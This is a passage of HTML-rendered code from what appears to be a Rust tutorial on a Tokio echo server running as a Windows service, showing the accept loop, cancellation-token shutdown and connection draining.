&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;service_type&lt;/span&gt;: &lt;span class="nc"&gt;ServiceType&lt;/span&gt;::&lt;span class="no"&gt;OWN_PROCESS&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;current_state&lt;/span&gt;: &lt;span class="nc"&gt;ServiceState&lt;/span&gt;::&lt;span class="n"&gt;Stopped&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;controls_accepted&lt;/span&gt;: &lt;span class="nc"&gt;ServiceControlAccept&lt;/span&gt;::&lt;span class="n"&gt;empty&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;exit_code&lt;/span&gt;: &lt;span class="nc"&gt;ServiceExitCode&lt;/span&gt;::&lt;span class="n"&gt;Win32&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// You may want to make return an error code
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// depending on run_app success
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checkpoint&lt;/span&gt;: &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait_hint&lt;/span&gt;: &lt;span class="nc"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;process_id&lt;/span&gt;: &lt;span class="nb"&gt;None&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;})&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="sample-app"&gt;Sample app&lt;/h2&gt;
&lt;p&gt;As stated in the beginning, our sample application is a simple echo server. We&amp;rsquo;re binding to TCP port 5000, listen for connections and handle them by spawning a new task.&lt;/p&gt;
&lt;p&gt;In our main loop which accepts new connections, we&amp;rsquo;re also checking if the cancellation token has been, well, cancelled. And if so, we break out of our connection acceptance loop and go into the connection draining phase to attempt a close of the connections.&lt;/p&gt;
&lt;p&gt;We check if we have any remaining active connections, and if so set a 10 second timer while joining the connection tasks one by one. Once all connections have closed or our timer runs out, we break out of the drain loop.&lt;/p&gt;
&lt;p&gt;To make this possible, we also have to pass the cancellation token to our connection handling code which will continuously check the token and read from TCP stream until either resolves (shown in next section).&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s how this looks in code:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;pub&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;run_app&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;: &lt;span class="nc"&gt;CancellationToken&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&amp;gt; &lt;span class="nb"&gt;Result&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Box&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="k"&gt;dyn&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Error&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;TcpListener&lt;/span&gt;::&lt;span class="n"&gt;bind&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;127.0.0.1:5000&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="o"&gt;?&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Listening on 127.0.0.1:5000...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Track all spawned connection tasks so we can wait for them to drain
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// on shutdown.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;task&lt;/span&gt;::&lt;span class="n"&gt;JoinSet&lt;/span&gt;::&lt;span class="n"&gt;new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Accept connections until token gets cancelled
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;loop&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="fm"&gt;select!&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;_&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;cancelled&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Accept loop: cancellation received, stopping...&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;break&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;listener&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;accept&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;New connection from &lt;/span&gt;&lt;span class="si"&gt;{addr}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn_token&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;token&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;child_token&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;spawn&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;handle_connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;conn_token&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Err&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;e&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;eprintln!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Error accepting new connection: &lt;/span&gt;&lt;span class="si"&gt;{e}&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// Token got cancelled and we stopped accepting new connections. Now give
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// existing ones some time to finish. After the timeout, connections will
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// just be dropped/tasks cancelled.
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;len&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;active&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Waiting for &lt;/span&gt;&lt;span class="si"&gt;{active}&lt;/span&gt;&lt;span class="s"&gt; connections to close&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;// you may want to capture/log panics here
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kd"&gt;let&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;connections&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;join_next&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_some&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;};&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;time&lt;/span&gt;::&lt;span class="n"&gt;timeout&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;time&lt;/span&gt;::&lt;span class="n"&gt;Duration&lt;/span&gt;::&lt;span class="n"&gt;from_secs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;10&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;drain&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="k"&gt;await&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;is_err&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Time out waiting for connections to close, forcing &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;&lt;span class="s"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="s"&gt; shutdown&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="fm"&gt;println!&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;&amp;#34;Server shut down.&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;Ok&lt;/span&gt;&lt;span class="p"&gt;(())&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id="handling-stream-data-while-checking-token"&gt;Handling stream data while checking token&lt;/h2&gt;
&lt;p&gt;Finally, this is how we handle the token checking in &lt;code&gt;handle_connection&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;Either branch of the &lt;code&gt;select!&lt;/code&gt; can lead to breaking out of the loop. It polls both branch futures simultaneously and when one resolves, the other is dropped (dropping the &lt;code&gt;read&lt;/code&gt; in its pending state is OK when we want to shutdown our server).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="k"&gt;async&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;fn&lt;/span&gt; &lt;span class="nf"&gt;handle_connection&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;mut&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;stream&lt;/span&gt;: &lt;span class="nc"&gt;tokio&lt;/span&gt;::&lt;span class="n"&gt;net&lt;/span&gt;::&lt;span class="n"&gt;TcpStream&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addr&lt;/span&gt;: &lt;span class="nc"&gt;std&lt;/span&gt;::&lt;span class="n"&gt;net&lt;/span&gt;::&lt;span class="n"&gt;SocketAddr&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
